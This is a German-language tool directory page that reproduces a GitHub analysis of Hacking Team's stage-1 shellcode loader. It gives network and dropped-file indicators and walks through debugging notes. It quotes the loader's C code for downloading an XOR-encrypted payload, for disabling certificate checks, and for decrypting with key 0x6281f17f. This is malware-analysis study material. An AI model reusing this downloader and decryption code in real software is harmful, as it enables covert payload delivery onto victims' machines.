Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/spiralbl0ck/analysis-for-stage1-shellcode-loader-from-hacking-
Reverse EngineeringShellcodeMalware AnalysisBinary AnalysisLearning & Education
GitHubspiralbl0ck/analysis-for-stage1-shellcode-loader-from-hacking-

Analysis-for-stage1-shellcode-loader-from-hacking-

Analysis for stage1 shellcode loader from hacking

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
31vor 1 JahrNoch nicht geprüft

Analyse des Stage-1-Shellcode-Loaders von Hacking Team

Flussdiagramm des Codes

Netzwerk-IoC

https://172\[.]20\[.]20\[.]164

root@kitploit:~
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MDDRJS)

Infektions-IoC (abgeworfene Dateien)

2s5s7k8w8b4i.dat

9z8o5d9l0p6c.dat

Ok, also was zum Teufel. Lass uns ran. Loader.sln oder loader.c.

Ok, also Start, und vom Start zu asm? Was passiert in asm? PIC (positionsunabhängiger Code) Shellcode. Cool, und was macht das? Im Grunde wird Loader(0xdeadbeef) aufgerufen. Warum?? Keine Ahnung, warum sie sich für diese Adresse entschieden haben, aber an dieser Adresse sollte entpackter Code liegen. Wie auch immer, lass uns weitermachen und sehen, was im Debugger passiert. Korrektur: Wir rufen Loader(eax) auf, und eax ist eine IP-Adresse mit einer .dat-Datei

Wenn wir dem Fluss folgen, gelangen wir in den Loader

Für jetzt überspringen wir einfach LoadVtable, da es allgegenwärtig und groß ist, und kehren zurück, nachdem wir den Rest seiner Fähigkeiten analysiert haben. Jetzt untersuchen wir DownloadAndDecryptTls.

DownloadAndDecryptTls

Eine nette Sache, die mir beim Debugging auffällt.

Wie im oberen Bild und im folgenden Ausschnitt zu sehen ist,

root@kitploit:~
DWORD dwFileSize;
LPBYTE lpFileBuffer = DownloadAndDecryptTls(&pVtable, lpLoaderConfig->strUserAgent, 
		lpLoaderConfig->strUrl, 
		&dwFileSize, 
		lpLoaderConfig->dwXorKey, 
		lpLoaderConfig->dwXorKey ? TRUE : FALSE); 

wird lpLoaderConfig dynamisch abgerufen. Aber woher? Nun, anscheinend lädt es diese .dat-Datei herunter oder verwendet sie intern? Und was ist diese .dat-Datei? Beim Untersuchen des Archivs

sehen wir eine weitere coole Datei shellcode_0x95d. Wenn wir sie in hxd untersuchen

siehst du eine Reihe von API-Aufrufen und diese URL. Also ist das im Grunde der eigentliche Shellcode :) Super, wir werden ihn uns ansehen, wenn wir hiermit fertig sind.

Nur für später: Der XOR-Schlüssel ist 0x6281f17f. Nun zu einer kurzen Analyse bis zum interessanten Punkt ValidateCa. Bis dahin passiert in dieser Funktion nichts wirklich Besonderes; das Interessanteste ist der Aufruf von InternetOpenA, der die DLL für Netzwerkfunktionen initialisiert. Interessant wäre es, das dynamisch zu untersuchen, um einen Trick zu sehen, den sie angewendet haben. Sie tun es im C-Code mit

hOpen = lpTable->InternetOpenA(strUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

was ein Argument weniger ist, als die API normalerweise erwartet. Wie auch immer, genug geredet, schauen wir uns an, was im Code passiert.

Im Debugger sieht das also so aus

Ich vermute, was hier passiert, ist, dass es, weil es INTERNET_OPEN_TYPE_PRECONFIG verwendet, eine vorkonfigurierte Struktur nutzt und lptable die URL bereits enthält.

Wie auch immer, als Nächstes haben wir ValidateCA

Also, warum machen wir das? Weil es einfach bestimmt, ob wir HTTPS oder HTTP verwenden wollen.

root@kitploit:~
DWORD dwHttpsFlag = 0;

if( ValidateCA(lpTable) )
	dwHttpsFlag = INTERNET_FLAG_SECURE;
else
	dwHttpsFlag = INTERNET_FLAG_SECURE|INTERNET_FLAG_IGNORE_CERT_CN_INVALID|INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;

Dann machen wir eine einfache GET-Anfrage und laden anschließend die Datei per HTTP herunter. Nichts Besonderes hier. Falls du dich fragst, ob der Code hier irgendetwas Besonderes ist: Ich glaube nicht; wahrscheinlich findet man im Internet Beispiele, wie man das macht. Wie lädt die Funktion DownloadFile Dateien herunter? Mittels InternetReadFileExA.

Wie auch immer, hier ist der Code:

root@kitploit:~
if( hOpen )
	{
		hConnect = lpTable->fpInternetConnect(hOpen,  serverName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0 );

		if( hConnect )
		{
			hReq = lpTable->fpHttpOpenRequest(hConnect, strGet, strResource, strHTTPVersion, NULL, NULL, dwHttpsFlag, 0 );

			if( hReq )
			{

			if( !ValidateCA(lpTable) )
			{
				DWORD dwFlags;
				dwBuffLen = sizeof(dwFlags);	
				lpTable->fpInternetQueryOption(hReq, INTERNET_OPTION_SECURITY_FLAGS,(LPVOID)&dwFlags, &dwBuffLen);
				dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
				lpTable->fpInternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
			}

				if( lpTable->fpHttpSendRequest(hReq, NULL, 0, NULL, 0) )
				{
					dwBuffLen = 16;
					dwIdx = 0;

					lpTable->HttpQueryInfoW(hReq, HTTP_QUERY_CONTENT_LENGTH, strBuff, &dwBuffLen, &dwIdx);
					*dwFileLen = lpTable->wtoi((LPWSTR) strBuff);

					LPBYTE lpFileBuffer = (LPBYTE) lpTable->VirtualAlloc(NULL, *dwFileLen, MEM_COMMIT, PAGE_READWRITE);			
					if (DownloadFile(lpTable, hReq, lpFileBuffer, *dwFileLen))
					{
						if (bXored)
							lpPayload = Decrypt(lpFileBuffer, *dwFileLen, dwXorKey);
						else
							lpPayload = lpFileBuffer;
					}
					
				} // if( lpTable->fpHttpSendRequest )
			} // if( hReq )
		} // if( hConnect )
	} // if( hOpen )


	/* close handles */
	if( hReq )
		lpTable->fpInternetCloseHandle(hReq);
	if( hConnect)
		lpTable->fpInternetCloseHandle(hConnect);
	if( hOpen)
		lpTable->fpInternetCloseHandle(hOpen);

	return lpPayload;

Jetzt schauen wir uns den if-Check für die Entschlüsselung an, um zu sehen, ob die Entschlüsselungsfunktion erreicht wird. Basierend auf meinen Annahmen wird beim Experimentieren bXored wahr sein, also sollten wir in die Entschlüsselungsfunktion gelangen. Leider war unsere Annahme falsch, denn

root@kitploit:~
lpTable->fpHttpSendRequest is being used in the id not bXored and since the server is down

Wir werden also keine Anfrage an diesen bösartigen Server senden können. Ich könnte zwar einen Server mit frida emulieren, aber zu welchem Zweck? Wir haben den Payload bereits selbst. Jetzt müssen wir ihn nur noch disassemblieren und entscheiden, ob er verschlüsselt ist oder nicht. Die Entschlüsselung sieht außerdem so aus:

root@kitploit:~
LPDWORD lpD = (LPDWORD) lpBuffer;
LPBYTE lpB = (LPBYTE) lpBuffer;

for (UINT i=0; i<dwBuffLen/4; i++)
	lpD[i] ^= dwXorKey;
for (UINT i=dwBuffLen - (dwBuffLen%4); i<dwBuffLen; i++)
	lpB[i] ^= 0x41;

return lpBuffer;

Das ist eine Zwei-Schlüssel-XOR-Verschlüsselung, und dwXorkey ist 0x6281f17f.

Jetzt zurück zur Loader-Funktion, um den letzten Teil des Loaders zu lösen.

Tool herunterladen